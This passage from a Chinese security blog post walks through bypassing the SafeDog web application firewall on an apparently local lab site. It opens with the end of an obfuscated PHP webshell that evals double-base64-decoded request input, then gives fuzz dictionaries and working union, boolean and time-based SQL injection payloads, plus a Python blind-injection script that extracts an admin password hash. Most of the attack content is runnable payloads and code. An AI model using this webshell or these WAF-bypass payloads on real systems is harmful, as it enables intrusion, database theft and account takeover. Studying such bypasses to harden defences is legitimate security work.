variable">$c</span><span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">;</span>    <span class="token keyword">function</span> <span class="token function">__destruct</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span> <span class="token function">eval</span><span class="token punctuation">(</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">c</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token variable">$comi</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">COMI</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$password</span> <span class="token operator">=</span> <span class="token operator">&amp;</span><span class="token variable">$password1</span><span class="token punctuation">;</span><span class="token variable">$password1</span> <span class="token operator">=</span> <span class="token variable">$_REQUEST</span><span class="token punctuation">[</span><span class="token string">'password'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$post</span> <span class="token operator">=</span> <span class="token operator">&amp;</span><span class="token variable">$password</span><span class="token punctuation">;</span><span class="token variable">$post</span><span class="token operator">=</span><span class="token function">base64_decode</span><span class="token punctuation">(</span><span class="token function">base64_decode</span><span class="token punctuation">(</span><span class="token variable">$post</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$lnng1</span> <span class="token operator">=</span> <span class="token operator">&amp;</span><span class="token variable">$lnng</span><span class="token punctuation">;</span><span class="token variable">$lnng</span> <span class="token operator">=</span> <span class="token variable">$post</span><span class="token punctuation">;</span><span class="token variable">$lnng2</span> <span class="token operator">=</span> <span class="token variable">$lnng1</span><span class="token punctuation">;</span>@<span class="token variable">$comi</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">c</span> <span class="token operator">=</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$lnng2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><p>上传：</p><p><img src="/images/pasted-760.png" alt="upload successful"></p><p><img src="/images/pasted-761.png" alt="upload successful"></p><p>蚁剑连接:</p><p><img src="/images/pasted-764.png" alt="upload successful"></p><p>执行命令成功获取到权限:</p><p><img src="/images/pasted-762.png" alt="upload successful"></p><h3 id="二、绕过安全狗注入"><a href="#二、绕过安全狗注入" class="headerlink" title="二、绕过安全狗注入"></a>二、绕过安全狗注入</h3><h4 id="1、判断闭合方式"><a href="#1、判断闭合方式" class="headerlink" title="1、判断闭合方式"></a>1、判断闭合方式</h4><p>使用fuzz判断后端的闭合方式，方便后续构造sql语句闭合</p><pre><code>#&#39;-- +&#39;-- #&quot;-- +&quot;#&#39;)-- +&#39;)#&quot;)-- +&quot;)#&quot;)-- +</code></pre><p><img src="/images/pasted-763.png" alt="upload successful"></p><p>根据fuzz结果，判断后端未进行闭合</p><h4 id="2、判断是否存在sql注入"><a href="#2、判断是否存在sql注入" class="headerlink" title="2、判断是否存在sql注入"></a>2、判断是否存在sql注入</h4><p>根据上面判断的闭合方式，构造闭合，然后尝试构造能够改变sql执行结果的语句，这里使用and进行拼接来改变sql语句结构，比如and 1=1，当然也可以使用or &amp; ||等来替换and，效果不同而已。</p><pre class=" language-sql"><code class="language-sql"><span class="token comment" spellcheck="true">//fuzz字典</span><span class="token operator">and</span> floor<span class="token punctuation">(</span>rand<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> floor<span class="token punctuation">(</span>rand<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">--+</span><span class="token operator">and</span> floor<span class="token punctuation">(</span>rand<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> floor<span class="token punctuation">(</span>rand<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">--+</span><span class="token operator">and</span> <span class="token number">1</span><span class="token operator">=</span><span class="token number">1</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token number">1</span><span class="token operator">=</span><span class="token number">1</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token number">1</span><span class="token operator">=</span><span class="token number">2</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token number">1</span><span class="token operator">=</span><span class="token number">2</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token number">2</span><span class="token operator">></span><span class="token number">1</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token number">2</span><span class="token operator">></span><span class="token number">1</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token number">1</span><span class="token operator">&lt;</span><span class="token number">2</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token number">1</span><span class="token operator">&lt;</span><span class="token number">2</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token number">1</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token number">1</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token boolean">null</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token boolean">null</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token boolean">null</span> <span class="token operator">is</span> <span class="token boolean">null</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token boolean">null</span> <span class="token operator">is</span> <span class="token boolean">null</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token boolean">null</span> <span class="token operator">is</span> <span class="token operator">not</span> <span class="token boolean">null</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token boolean">null</span> <span class="token operator">is</span> <span class="token operator">not</span> <span class="token boolean">null</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token number">0</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token number">0</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token operator">-</span><span class="token operator">~</span><span class="token number">0</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token operator">-</span><span class="token operator">~</span><span class="token number">0</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> hex<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> hex<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> hex<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> hex<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token boolean">true</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token boolean">true</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token operator">!</span><span class="token boolean">true</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token operator">!</span><span class="token boolean">true</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> mod<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> mod<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> mod<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> mod<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">--+</span><span class="token operator">and</span> floor<span class="token punctuation">(</span>rand<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> floor<span class="token punctuation">(</span>rand<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">--+</span><span class="token operator">and</span> floor<span class="token punctuation">(</span>rand<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> floor<span class="token punctuation">(</span>rand<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token comment" spellcheck="true">--+</span><span class="token operator">and</span> <span class="token string">'1'</span><span class="token operator">&amp;</span><span class="token number">1</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token string">'1'</span><span class="token operator">&amp;</span><span class="token number">1</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token string">'1'</span><span class="token operator">^</span><span class="token number">1</span><span class="token comment" spellcheck="true">-- +</span><span class="token operator">and</span> <span class="token string">'1'</span><span class="token operator">^</span><span class="token number">1</span><span class="token comment" spellcheck="true">#</span><span class="token operator">and</span> <span class="token operator">-</span><span class="token number">1</span><span class="token comment" spellcheck="true">--1--+</span><span class="token operator">and</span> <span class="token operator">-</span><span class="token number">1</span><span class="token comment" spellcheck="true">--1#</span><span class="token operator">and</span> <span class="token operator">-</span><span class="token number">1</span><span class="token operator">-</span><span class="token number">1</span><span class="token comment" spellcheck="true">--+</span><span class="token operator">and</span> <span class="token operator">-</span><span class="token number">1</span><span class="token operator">-</span><span class="token number">1</span><span class="token comment" spellcheck="true">#</span></code></pre><p>fuzz结果:</p><p><img src="/images/pasted-765.png" alt="upload successful"></p><p>根据返回结果，可以判断这里存在sql注入，下面解释两个payload判断理由。</p><h5 id="2-1-and-null-is-null-和and-null-is-not-null-判断sql注入"><a href="#2-1-and-null-is-null-和and-null-is-not-null-判断sql注入" class="headerlink" title="2.1 and null is null#和and null is not null#判断sql注入"></a>2.1 and null is null#和and null is not null#判断sql注入</h5><p>本地测试环境</p><p><img src="/images/pasted-766.png" alt="upload successful"></p><p>执行and null is null 和 and null is not null 发现返回结果不同</p><p><img src="/images/pasted-767.png" alt="upload successful"></p><p>fuzz结果与我们的猜想结果一致，and null is null 为true 返回正常查询结果，and null is not null 为 false 返回查询不到结果，说明我们改变了sql的语法结构，此处存在sql注入。</p><p><img src="/images/pasted-768.png" alt="upload successful"></p><h5 id="2-2-and-floor-rand-2-判断sql注入"><a href="#2-2-and-floor-rand-2-判断sql注入" class="headerlink" title="2.2 and floor(rand()*2)# 判断sql注入"></a>2.2 and floor(rand()*2)# 判断sql注入</h5><p>查看fuzz结果发现同一个payload(and floor(rand()*2)# 返回的执行结果却不相同,也构造随机不同的时间，查看不同的响应时间区别，这里构造随机真假。</p><p><img src="/images/pasted-769.png" alt="upload successful"></p><p>说明我们的rand()随机数影响了sql的执行结果，可以改变sql语句的结构，本地测试rand()：</p><p><img src="/images/pasted-770.png" alt="upload successful"></p><p>利用rand()* 2 随机返回0和1 导致 and 1和 and 0两种不同的执行结果，与fuzz结果一致出现不同结果，由此判断此处存在sql注入。</p><h4 id="3-联合注入过狗"><a href="#3-联合注入过狗" class="headerlink" title="3.联合注入过狗"></a>3.联合注入过狗</h4><h5 id="3-1-判断字段数"><a href="#3-1-判断字段数" class="headerlink" title="3.1 判断字段数"></a>3.1 判断字段数</h5><p>已判断存在sql注入，且有回显，尝试使用联合查询回显我们想要的查询结果</p><p>构造联合查询需要知道前一个select的字段数，有两个方法:</p><ol><li>union select 1,2,3 一直向后加字段数来判断</li><li>order by 加字段偏移数来判断字段数</li></ol><p>由于union select后续同样需要bypass waf，学习为目的，这里先尝试order by过安全狗来判断字段数。</p><p><img src="/images/pasted-771.png" alt="upload successful"></p><p>由于order by 后面的偏移数并不影响waf的检查，所有重点fuzz order by，可以在上图1，2位置插入字符来进行fuzz，先暂时不对order 或 by进行变换尝试。</p><p><img src="/images/pasted-772.png" alt="upload successful"></p><pre><code>// fuzz字典%20%0A%0B%0C%0D%20+!-@&#39;~{}\N;%00`/*/**//*!/*!*/</code></pre><p>查看fuzz结果发现不需要编写order或by，已经可以绕过安全狗</p><p><img src="/images/pasted-773.png" alt="upload successful"></p><p>payload:12 order/<em>/*</em>/by#</p><p><img src="/images/pasted-774.png" alt="upload successful"></p><p>所以继续fuzz by 后面的数值，就能判断字段数</p><p><img src="/images/pasted-775.png" alt="upload successful"></p><p><img src="/images/pasted-776.png" alt="upload successful"></p><p>payload:12 order/<em>/*</em>/by 10#</p><h5 id="3-2-union-select-过狗"><a href="#3-2-union-select-过狗" class="headerlink" title="3.2 union select 过狗"></a>3.2 union select 过狗</h5><p>已经判断字段为10，进行联合查询发现被waf拦截。</p><p><img src="/images/pasted-777.png" alt="upload successful"></p><p>select 后面的数字一般不会被waf拦截，主要是union select</p><p><img src="/images/pasted-778.png" alt="upload successful"></p><p>暂时不改变union和select本身的变换，尝试fuzz，上图3的三个空白处。</p><pre><code>// fuzz字典%20%0A%0B%0C%0D%20/*/**//*!/*!*/</code></pre><p>fuzz结果发现全都被安全狗拦截</p><p><img src="/images/pasted-779.png" alt="upload successful"></p><p>所以这里需要变换一些union或者select，在进行fuzz,这里使用常用的内联注释来变换一下select为/*!/*!11440select*/，本地测试确实并不会影响sql的执行</p><p><img src="/images/pasted-780.png" alt="upload successful"></p><p>原理:mysql中 /<em>! ….</em>/ 不是注释，mysql为了保持兼容，它把一些特有的仅在mysql上用的语句放在/<em>!….</em>/中，这样这些语句如果在其他数据库中是不会被执行，但在mysql中它会执行。</p><p><img src="/images/pasted-781.png" alt="upload successful"></p><p>变换select后waf会拦截，继续fuzz上面三个位置</p><p><img src="/images/pasted-784.png" alt="upload successful"></p><p>fuzz出安全狗没有拦截的内容，payload：-12 union/<em>/**//</em>!/<em>!11440select</em>/1,2,3,4,5,6,7,8,9,10#</p><p><img src="/images/pasted-782.png" alt="upload successful"></p><h5 id="3-3-查询数据库名称"><a href="#3-3-查询数据库名称" class="headerlink" title="3.3 查询数据库名称"></a>3.3 查询数据库名称</h5><p>直接将10换成database()发现会被安全狗拦截，由于前面都是bypass的，说明是识别database()的原因</p><p><img src="/images/pasted-783.png" alt="upload successful"></p><p>本地尝试如何变形database()</p><p><img src="/images/pasted-785.png" alt="upload successful"></p><p>发现上图1，2标注位置加空格等并不影响sql语句的执行，fuzz这两个位置</p><pre><code>// fuzz 字典%20%0A%0B%0C%0D%20/*/**//*!/*!*/</code></pre><p><img src="/images/pasted-786.png" alt="upload successful"></p><h5 id="3-4-获取表名"><a href="#3-4-获取表名" class="headerlink" title="3.4 获取表名"></a>3.4 获取表名</h5><p>payload:<code>http://192.168.2.133/sqltest/showproducts.php?id=-12%20union/*/**//*!/*!11440select*/1,2,3,4,5,6,7,8,9,group_concat(table_name) from information_schema.tables where table_schema=&#39;xycms&#39;#</code></p><p>发现安全狗并不拦截</p><p><img src="/images/pasted-787.png" alt="upload successful"></p><p>如果拦截我们就需要考虑继续fuzz空白处，空白处不行，就考虑变换information_schema.tables</p><p><img src="/images/pasted-788.png" alt="upload successful"></p><p>本地测试发现在1,2位置加空格并不影响sql 执行，所以如果waf拦截我们就可以fuzz所有空白处。同时也可以内联，本地测试如下图，并不影响sql 的运行。</p><p><img src="/images/pasted-789.png" alt="upload successful"></p><h5 id="3-5-获取表的字段值"><a href="#3-5-获取表的字段值" class="headerlink" title="3.5 获取表的字段值"></a>3.5 获取表的字段值</h5><p>这里安全狗并不拦截，所以我们直接获取就行了</p><p>payload:</p><p>-12 union%2f%2a%2f%2a%2a%2f/*!11441/*!11440select*/ 1,2,3,4,5,6,7,8,9,group_concat(column_name) from information_schema.columns where table_name=’manage_user’#</p><p><img src="/images/pasted-790.png" alt="upload successful"></p><h5 id="3-6-获取密码值"><a href="#3-6-获取密码值" class="headerlink" title="3.6 获取密码值"></a>3.6 获取密码值</h5><p>安全狗还是不拦截，直接获取就行,成功获取到admin密码</p><p>payload:<code>-12 union%2f%2a%2f%2a%2a%2f/*!11441/*!11440select*/ 1,2,3,4,5,6,7,8,9,group_concat(m_name,0x7e,m_pwd) from manage_user#</code></p><p><img src="/images/pasted-791.png" alt="upload successful"></p><p>解密:</p><p><img src="/images/pasted-792.png" alt="upload successful"></p><h4 id="4-布尔注入过狗"><a href="#4-布尔注入过狗" class="headerlink" title="4.布尔注入过狗"></a>4.布尔注入过狗</h4><p>思考我们想要执行的语句<code>and substr(1,1,1)=1</code>，本地测试我们在先不改变and、substr、=情况下，可插入其他符号的位置。</p><p><img src="/images/pasted-793.png" alt="upload successful"></p><p><img src="/images/pasted-794.png" alt="upload successful"></p><p>所以我们要fuzz上面四个位置，先看下能不能过狗</p><p><img src="/images/pasted-795.png" alt="upload successful"></p><p>fuzz一半就发现有很多可以正常响应，且waf不来拦截的payload，且substr正常执行</p><p><img src="/images/pasted-796.png" alt="upload successful"></p><p><img src="/images/pasted-797.png" alt="upload successful"></p><p>继续构造后面我们想要执行的语句:and substr(hex(1),1,1)#当然也可以使用<strong>ascii</strong>等等把后续查询结果转换的操作都可以，这里使用hex()</p><p><img src="/images/pasted-800.png" alt="upload successful"></p><p>发现waf不拦截</p><p><img src="/images/pasted-801.png" alt="upload successful"></p><p><img src="/images/pasted-802.png" alt="upload successful"></p><p>那我们继续构造我们想执行的东西</p><p><img src="/images/pasted-803.png" alt="upload successful"></p><p>当然也可跳过计算长度，直接截取，看返回，都可以，所有我们想执行的下一步sql</p><p>and substr(length(hex(1)),1,1) =1#</p><p><img src="/images/pasted-806.png" alt="upload successful"></p><p><img src="/images/pasted-805.png" alt="upload successful"></p><h5 id="4-1-获取数据库名称"><a href="#4-1-获取数据库名称" class="headerlink" title="4.1 获取数据库名称"></a>4.1 获取数据库名称</h5><p>waf还是不拦截哈哈哈，那我们继续构造，查询数据库长度</p><p><code>and/*/**/substr(length(hex(database())),1,1) =1#</code></p><p><img src="/images/pasted-807.png" alt="upload successful"></p><p>开始拦截，说明是database()原因，那我们把上面联合查询的database的绕过弄过来先试试</p><p>发现还是被拦截了，那我们还是先fuzz database()的空白处，不行在变换database()</p><p><img src="/images/pasted-808.png" alt="upload successful"><br>本地测试发现可以fuzz上图四个位置</p><p><img src="/images/pasted-809.png" alt="upload successful"></p><p><img src="/images/pasted-810.png" alt="upload successful"></p><p>成功fuzz到waf不拦截的payload:</p><p><code>http://192.168.2.223/sqltest/showproducts.php?id=12 and/*/**/substr(length(hex(/*/**/database (/*/**/) )),1,9999) =10#</code></p><p><img src="/images/pasted-811.png" alt="upload successful"></p><p><img src="/images/pasted-812.png" alt="upload successful"></p><p>说明hex后的数据库名长度为10，那我们继续fuzz获取数据库名，我们想执行的下一个查询</p><p><code>and/*/**/substr(hex(/*/**/database(/*/**/)),1,9999) = XXXX#</code>，waf不拦截，那我们直接获取就行了,写个脚本跑就行了。</p><p><img src="/images/pasted-813.png" alt="upload successful"></p><h5 id="4-2-获取表名称"><a href="#4-2-获取表名称" class="headerlink" title="4.2 获取表名称"></a>4.2 获取表名称</h5><p>还是先获取表名的长度，select直接用联合查询已经绕过的先尝试一下，发现waf不拦截，那我们直接跑就完了</p><p>payload=<code>http://192.168.2.223/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!/*!11440select*/%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27xycms%27))),1,9999)=194#</code></p><p><img src="/images/pasted-814.png" alt="upload successful"></p><p>继续查询表名，发现waf还是不拦截，payload:</p><p><code>12 and/*/**/substr(hex((/*!/*!11440select*/%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27xycms%27)),1,4)=&#39;636F&#39;#</code></p><p><img src="/images/pasted-815.png" alt="upload successful"></p><p><img src="/images/pasted-816.png" alt="upload successful"></p><p>写个脚本跑一下</p><p><img src="/images/pasted-817.png" alt="upload successful"></p><p><img src="/images/pasted-818.png" alt="upload successful"></p><p>成功获取表名</p><h5 id="4-3-获取字段值"><a href="#4-3-获取字段值" class="headerlink" title="4.3 获取字段值"></a>4.3 获取字段值</h5><p>和上面一样借助联合查询fuzz出来的payload，拼接一下布尔的payload</p><p><code>http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!11441/*!11440select*/ group_concat(column_name) from information_schema.columns where table_name=&#39;manage_user&#39;))),1,9999)=43#</code></p><p>发现waf也还是不拦截</p><p><img src="/images/pasted-819.png" alt="upload successful"></p><p>那我们继续fuzz后面的数字，获取到长度为44</p><p><img src="/images/pasted-820.png" alt="upload successful"></p><p>payload:<code>http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(hex((/*!11441/*!11440select*/ group_concat(column_name) from information_schema.columns where table_name=&#39;manage_user&#39;)),1,1)=5#</code></p><p>写个脚本跑一下:</p><pre class=" language-python"><code class="language-python"><span class="token keyword">def</span> <span class="token function">conuntRequestHash</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">:</span>    headers <span class="token operator">=</span> <span class="token punctuation">{</span>        <span class="token string">"User-Agent"</span><span class="token punctuation">:</span> <span class="token string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"</span>    <span class="token punctuation">}</span>    proxies <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token string">'http'</span><span class="token punctuation">:</span> <span class="token string">'http://127.0.0.1:8080'</span><span class="token punctuation">,</span> <span class="token string">'https'</span><span class="token punctuation">:</span> <span class="token string">'http://127.0.0.1:8080'</span><span class="token punctuation">}</span>    text <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token operator">=</span>url<span class="token punctuation">,</span> proxies<span class="token operator">=</span>proxies<span class="token punctuation">,</span> verify<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span><span class="token punctuation">.</span>text    <span class="token keyword">return</span> hash<span class="token punctuation">(</span>text<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">getfield</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span>lengthTable<span class="token punctuation">)</span><span class="token punctuation">:</span>    hash <span class="token operator">=</span> conuntRequestHash<span class="token punctuation">(</span>url<span class="token punctuation">)</span>    database <span class="token operator">=</span> <span class="token string">""</span>    <span class="token keyword">for</span> num <span class="token keyword">in</span> range<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> lengthTable <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        hex <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'0'</span><span class="token punctuation">,</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'2'</span><span class="token punctuation">,</span> <span class="token string">'3'</span><span class="token punctuation">,</span> <span class="token string">'4'</span><span class="token punctuation">,</span> <span class="token string">'5'</span><span class="token punctuation">,</span> <span class="token string">'6'</span><span class="token punctuation">,</span> <span class="token string">'7'</span><span class="token punctuation">,</span> <span class="token string">'8'</span><span class="token punctuation">,</span> <span class="token string">'9'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">,</span> <span class="token string">'B'</span><span class="token punctuation">,</span> <span class="token string">'C'</span><span class="token punctuation">,</span> <span class="token string">'D'</span><span class="token punctuation">,</span> <span class="token string">'E'</span><span class="token punctuation">,</span> <span class="token string">'F'</span><span class="token punctuation">,</span> <span class="token string">'lnng'</span><span class="token punctuation">]</span>        <span class="token keyword">for</span> hex1 <span class="token keyword">in</span> hex<span class="token punctuation">:</span>            <span class="token keyword">if</span> hex1 <span class="token operator">==</span> <span class="token string">'lnng'</span><span class="token punctuation">:</span>                <span class="token keyword">print</span><span class="token punctuation">(</span>str<span class="token punctuation">(</span>num<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"出错了"</span><span class="token punctuation">)</span>            payload1 <span class="token operator">=</span> database <span class="token operator">+</span> hex1            parameter <span class="token operator">=</span> <span class="token string">"%20and/*/**/substr(hex((/*!/*!11440select*/%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%3d'manage_user'))%2c1%2c"</span><span class="token operator">+</span>str<span class="token punctuation">(</span>num<span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">")%3d'"</span><span class="token operator">+</span>payload1<span class="token operator">+</span><span class="token string">"'%23"</span>            payload <span class="token operator">=</span> url <span class="token operator">+</span> parameter            request_hash <span class="token operator">=</span> conuntRequestHash<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>            <span class="token keyword">if</span> request_hash <span class="token operator">==</span> hash<span class="token punctuation">:</span>                database <span class="token operator">=</span> database <span class="token operator">+</span> hex1                <span class="token keyword">print</span><span class="token punctuation">(</span>database<span class="token punctuation">)</span>                <span class="token keyword">break</span>    <span class="token keyword">return</span> database</code></pre><p><img src="/images/pasted-821.png" alt="upload successful"></p><p>成功获取字段值:id,m_name,m_pwd,c_date</p><h5 id="4-4-获取密码"><a href="#4-4-获取密码" class="headerlink" title="4.4 获取密码"></a>4.4 获取密码</h5><p>继续先获取长度，payload:<code>http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user))),1,99)=7#</code></p><p><img src="/images/pasted-822.png" alt="upload successful"></p><p>同上面脚本，跑一下密码:</p><pre><code>http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user)),1,1)=&#39;7&#39;#</code></pre><p><img src="/images/pasted-823.png" alt="upload successful"></p><p>成功得到账号密码:admin~21232f297a57a5a743894a0e4a801fc3</p><h4 id="5-延时注入过狗"><a href="#5-延时注入过狗" class="headerlink" title="5.延时注入过狗"></a>5.延时注入过狗</h4><p>首先思考我们想执行的最简单的语句，那肯定是<code>12 and if(1,1,1)</code></p><p>本地测试我们能变换的位置，发现图中的标注的三个位置我们都能添加别的字符。</p><p><img src="/images/pasted-824.png" alt="upload successful"></p><p>fuzz上图中的三个位置</p><pre><code>// fuzz字典%20%0A%0B%0C%0D%20+!-@&#39;~{}\N;%00`/*/**//*!/*!*/</code></pre><p>fuzz发现有些payload甚至能正常返回页面，且waf不会拦截，所以暂时不用变换其他的</p><p><img src="/images/pasted-825.png" alt="upload successful"></p><p>本地尝试其中的任意一个payload，发现并不影响我们后续的sleep(sql的执行顺序原因)</p><p><img src="/images/pasted-826.png" alt="upload successful"></p><p><img src="/images/pasted-827.png" alt="upload successful"></p><p>waf并不会拦截，当然还有很多可以使用fuzz出来的payload:</p><p><img src="/images/pasted-828.png" alt="upload successful"></p><p><img src="/images/pasted-829.png" alt="upload successful"></p><h5 id="4-1-sleep-过狗"><a href="#4-1-sleep-过狗" class="headerlink" title="4.1 sleep 过狗"></a>4.1 sleep 过狗</h5><p>and if(1,1,1)# 已经fuzz出来能过狗的，那么下一步我们就要fuzz sleep(),让其先能延时，要看下sleep(),哪些地方可以放东西。</p><p><img src="/images/pasted-830.png" alt="upload successful"><br>发现三个位置都可以放字符，所以用上面的方式fuzz这三个位置，暂时先不变换</p><p><img src="/images/pasted-831.png" alt="upload successful"></p><p>发现加三个空格都不拦截了，这正则写的哈哈哈</p><p><img src="/images/pasted-832.png" alt="upload successful"></p><p><img src="/images/pasted-833.png" alt="upload successful"></p><p>所以下面我们只需要构造下面位置就行，和上面的一样</p><p><img src="/images/pasted-834.png" alt="upload successful"></p><p>把上面布尔过狗的拿过来用就行</p><p>payload:</p><pre><code>12%20and%20~if((substr(length(hex(/*/**/database%20(/*/**/)%20)),1,9999)%20=10),sleep%20(%2020%20),1)#</code></pre><p><img src="/images/pasted-835.png" alt="upload successful"></p><p><img src="/images/pasted-836.png" alt="upload successful"></p><p><img src="/images/pasted-837.png" alt="upload successful"></p><p>总上延时注入成功。</p><h5 id="4-2-获取密码"><a href="#4-2-获取密码" class="headerlink" title="4.2 获取密码"></a>4.2 获取密码</h5><p>上面布尔的payload拼接都是不拦截的不在赘述，这里直接给出延时注入最后获取密码的payload：</p><pre><code>http://192.168.2.63/sqltest/showproducts.php?id=12 and ~if((substr(length(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user))),1,99)=76),sleep ( 20 ),1)#</code></pre><p><img src="/images/pasted-838.png" alt="upload successful"></p><p><img src="/images/pasted-839.png" alt="upload successful"></p><p><img src="/images/pasted-840.png" alt="upload successful"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;此文章为博客丢失找回内容&quot;&gt;&lt;a href=&quot;#此文章为博客丢失找回内容&quot; class=&quot;headerlink&quot; title=&quot;此文章为博客丢失找回内容&quot;&gt;&lt;/a&gt;此文章为博客丢失找回内容&lt;/h3&gt;&lt;p&gt;此文章为博客丢失找回内容可能存在部分内容缺失情况&lt;/p&gt;
&lt;
      
    
    </summary>
    
    
